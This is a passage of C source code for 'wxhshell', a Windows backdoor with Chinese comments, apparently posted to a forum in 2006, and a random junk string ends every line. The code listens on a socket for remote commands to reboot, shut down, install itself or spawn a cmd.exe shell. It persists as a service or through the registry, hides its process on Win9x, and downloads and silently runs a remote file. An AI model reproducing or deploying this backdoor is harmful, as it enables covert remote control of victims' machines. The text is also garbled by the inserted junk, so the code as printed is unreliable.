  // 帮助 0gHJ%m9s  
  case '?': { 1QE-[|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dnNC = siY  
    break; XYWGX;.=  
  } gnNMuqt  
  // 安装 6YrkS;_HS  
  case 'i': { ;%]Q%7  
    if(Install()) I5F oh|)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d4[M{LSl  
    else X~5TA)h;~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h -+vM9j  
    break; ;_of'  
    } 6"[`"~9'V  
  // 卸载 gx4`pH;B\  
  case 'r': { <N=p_m 2T  
    if(Uninstall()) 8~EDmg[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :De}5BMy  
    else q*@7A6:FV>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WY?(C@>s  
    break; 9X@y*;w<t  
    } Bb]pUb  
  // 显示 wxhshell 所在路径 M=x/PrY"R  
  case 'p': { 0D/j2cT("k  
    char svExeFile[MAX_PATH]; \UGs_5OT  
    strcpy(svExeFile,"\n\r"); 2hw3+ o6  
      strcat(svExeFile,ExeFile); y{s?]hLk  
        send(wsh,svExeFile,strlen(svExeFile),0); N3MMxm_u  
    break; my[)/'  
    } m!|u{<,R  
  // 重启 {w(6Tc  
  case 'b': { jkFS=eonK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5sM-E>8G^{  
    if(Boot(REBOOT)) {LbcG^k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (pH13qU5  
    else { pxM^|?Hxc  
    closesocket(wsh); 6*S|$lo9B  
    ExitThread(0); ]"q)X{G(+  
    } 68*h#&  
    break; :v* _Ay  
    } z\oq b) a  
  // 关机 1G=1FGvP  
  case 'd': { f /&Dy'OV7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )T(xQ2&r4  
    if(Boot(SHUTDOWN)) ch 4z{7   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tUGnD<P  
    else { C^aP)& qt  
    closesocket(wsh); \Bw9%P~ G  
    ExitThread(0); & *B@qQ  
    } &0It"17Ej  
    break; KCe =$  
    } d~D<;7M XJ  
  // 获取shell S?D|"#-,  
  case 's': { 0X~   
    CmdShell(wsh); [j?n}D@L  
    closesocket(wsh); ?#<Fxme  
    ExitThread(0);  PQa {5"  
    break; ^IjKT  
  } ]sd|u[:k  
  // 退出 yXh=~:1~  
  case 'x': { hW~,Uqy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z WL/AC  
    CloseIt(wsh); rG:IS=  
    break; d8C?m*3 J  
    } =V5<>5"M?  
  // 离开 z;zy k  
  case 'q': { qy`@\)S/5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pT>[w1Kk^  
    closesocket(wsh); W|NzdxCY  
    WSACleanup(); 7ib~04  
    exit(1); B0?E$8a  
    break; -w1U /o.  
        } mEa\0oPGB  
  } C;0H _  
  } <T)9mJYr  
c_~)#F%P  
  // 提示信息 ~%qHJ4C  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pz,kSxe=  
} }y(1mzb  
  } vDV` !JU  
M9.jJf  
  return; gGxgU$`#c  
} [c +[t3dz  
j5Vyo>  
// shell模块句柄 KqG:o+V=  
int CmdShell(SOCKET sock) u> XCE|D*  
{ &?"(al?  
STARTUPINFO si; 1&ukKy,[  
ZeroMemory(&si,sizeof(si)); H{VVxj  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JfxD-9U^>u  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )'?3%$EM  
PROCESS_INFORMATION ProcessInfo; &#;vR 0O  
char cmdline[]="cmd"; Z `sM(?m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); qZ'&zB)  
  return 0; gXZC%S  
} H5'/i;  
#f0J.)M  
// 自身启动模式 8)\Td tBf9  
int StartFromService(void) y2;uG2IS_g  
{ ^ #B`GV  
typedef struct L:nZ_O;  
{ Azv j(j  
  DWORD ExitStatus; es 8%JTi  
  DWORD PebBaseAddress; JWoNP/v6  
  DWORD AffinityMask; 1v)ur\>R  
  DWORD BasePriority; -f@~{rK.L  
  ULONG UniqueProcessId; pyhC%EZU  
  ULONG InheritedFromUniqueProcessId; Aj((tMJNOw  
}   PROCESS_BASIC_INFORMATION; HR]*75}e  
VRQ'sn@  
PROCNTQSIP NtQueryInformationProcess; w/BaaF.0  
J5e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o9& 1Ct  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; bHZXMUewC  
I!>pHF4  
  HANDLE             hProcess; qIIc>By(\"  
  PROCESS_BASIC_INFORMATION pbi; j ;}!Yn  
~iI4v#0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); +NWhvs  
  if(NULL == hInst ) return 0; RG[b+Qjn  
*gF8"0s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V| 9<*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WX<),u2@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uU_lC5A|  
}8tD|t[  
  if (!NtQueryInformationProcess) return 0; |rW,:&;  
s[6y|{&ze  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cn+'!?!d,  
  if(!hProcess) return 0; ,xmL[Yk,  
H|@R+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S 2vjjS  
X|]&K  
  CloseHandle(hProcess); BO]}E:C9  
EhJpJb[Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Rf*cW&}%  
if(hProcess==NULL) return 0; KlOL5"3  
Ig b@aGA  
HMODULE hMod; wP-BaB$_  
char procName[255]; !.\-l2f  
unsigned long cbNeeded; 1=NP=ZB  
 3"B$M  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &4]~s:F  
\M(#FS  
  CloseHandle(hProcess); R8"qDj  
c ow]qe6K  
if(strstr(procName,"services")) return 1; // 以服务启动 #ArMX3^+w7  
m~$S]Wf  
  return 0; // 注册表启动 %v)m&VUi%  
} 'UW]~  
`)Z+]5:  
// 主模块 j=>:{`*c  
int StartWxhshell(LPSTR lpCmdLine) -`d9dJ dB  
{ xNLvK:@0p  
  SOCKET wsl; LA\)B"{J  
BOOL val=TRUE; j)A$%xUo  
  int port=0; U`25bb1W j  
  struct sockaddr_in door; !/]vt?v#^  
E 0k1yA  
  if(wscfg.ws_autoins) Install(); k2 axGq  
(=de#wh2]  
port=atoi(lpCmdLine); F| ib=_)3  
wlY6h4c  
if(port<=0) port=wscfg.ws_port; ?n]e5R(cj  
i*q!|^M  
  WSADATA data; @['4X1pqt  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y64B"J=P 9  
$AI0&#NM  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C/sDyv$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Z T5p  
  door.sin_family = AF_INET; ^Z 9v_qB  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jNO8n)a&p  
  door.sin_port = htons(port); I,0]> kx  
|H(Mmqgk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *C0gpEf9S  
closesocket(wsl); SdI/  
return 1; lQ}e"#<  
} FyZiiH4|  
H=7z d|W  
  if(listen(wsl,2) == INVALID_SOCKET) { h/CF^0m"!  
closesocket(wsl); Vu6p l  
return 1; !iOuIYjV  
} R+s_uwS  
  Wxhshell(wsl); (\^)@Y  
  WSACleanup(); kP6P/F|RcZ  
Q9~UL^bF  
return 0; })l+-H"  
Q~'a1R  
} x%;Q /7&$  
MI!JZI$z5  
// 以NT服务方式启动 3x 9O(;k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mQ9%[U,  
{ ; md{T'  
DWORD   status = 0; ;,z^!bD  
  DWORD   specificError = 0xfffffff; 3xW;qNj:!l  
v!;E1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bW`@9 =E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; dwc$?Bg,5  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z {ntF  
  serviceStatus.dwWin32ExitCode     = 0; tk^1Ga3  
  serviceStatus.dwServiceSpecificExitCode = 0; ZOFBT(oV  
  serviceStatus.dwCheckPoint       = 0; mne^P SI:  
  serviceStatus.dwWaitHint       = 0; %@! Vx  
n7vLw7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !U"1ZsO)l  
  if (hServiceStatusHandle==0) return; @"}dbW<DV  
Q<L.!%vu}  
status = GetLastError();  *it(o  
  if (status!=NO_ERROR) 5L<}u` 0J  
{ X$O,L[] 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ou44vKzS  
    serviceStatus.dwCheckPoint       = 0; ^i{B8]2,  
    serviceStatus.dwWaitHint       = 0; auP:r  
    serviceStatus.dwWin32ExitCode     = status; SnbH`\U"  
    serviceStatus.dwServiceSpecificExitCode = specificError; lLHHuQpuj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?ng?>!  
    return; _%s_w)  
  } b`n+[UCPtn  
Rg&6J#h  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; F9e$2J)C  
  serviceStatus.dwCheckPoint       = 0; ]lF'o&v]  
  serviceStatus.dwWaitHint       = 0; L%a ni}V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); I~S`'()J  
} i:WHql"Kw_  
{KL<Hx2M  
// 处理NT服务事件,比如:启动、停止 ^(8 i` `V  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9`^VuC'  
{ M[_~7~4  
switch(fdwControl) 5(MWgC1  
{ L6j 5pI  
case SERVICE_CONTROL_STOP: ;T6^cS{Gj  
  serviceStatus.dwWin32ExitCode = 0; $B4}('&4FQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; wkJB5i^<w  
  serviceStatus.dwCheckPoint   = 0; _L$)~},cT  
  serviceStatus.dwWaitHint     = 0; E0O{5YF^T  
  { JyB>,t)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4uftx1o   
  } c(Ha"tBJ  
  return;  v$tS 2N2  
case SERVICE_CONTROL_PAUSE: ok6e=c '  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <BU|?T6~  
  break;  gA[M  
case SERVICE_CONTROL_CONTINUE: %BG5[ XQ7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; SD.ze(P  
  break; /Hx0=I  
case SERVICE_CONTROL_INTERROGATE: teB {GR  
  break; $1dI  
}; c''O+,L1+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wcL0#[)  
} 3\WES!  
 C|lMXp\*  
// 标准应用程序主函数 C,<TAm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) BuvBSLC~  
{ V3+%KkN  
F"F(s!  
// 获取操作系统版本 KJ#c(yb9zR  
OsIsNt=GetOsVer(); R|M:6]}   
GetModuleFileName(NULL,ExeFile,MAX_PATH); iIF'!K=q  
j?mJ1J5  
  // 从命令行安装 [ho'Pc3A<  
  if(strpbrk(lpCmdLine,"iI")) Install(); }GC{~ SZ4  
iB,*X[}EqG  
  // 下载执行文件 LPNv4lT[u  
if(wscfg.ws_downexe) { :Aa^afjJw  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Rd$<R  
  WinExec(wscfg.ws_filenam,SW_HIDE); lz*2wGI9  
} kj#yG"3+  
?yU#'`q  
if(!OsIsNt) { >mV""?r]  
// 如果时win9x,隐藏进程并且设置为注册表启动 ie ,{C  
HideProc(); W6iIL:sp  
StartWxhshell(lpCmdLine); p4Y 9$(X  
} eo80L  
else *o#`lH  
  if(StartFromService()) +vnaEy  
  // 以服务方式启动 gf=*m"5  
  StartServiceCtrlDispatcher(DispatchTable); `2oi~^.  
else :Rn9rdX  
  // 普通方式启动 vuP1gem  
  StartWxhshell(lpCmdLine); &Xav$6+Z1J  
q ^gEA5  
return 0; YH>n{o;- ?  
}
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只看该作者 1 发表于: 2006-10-10
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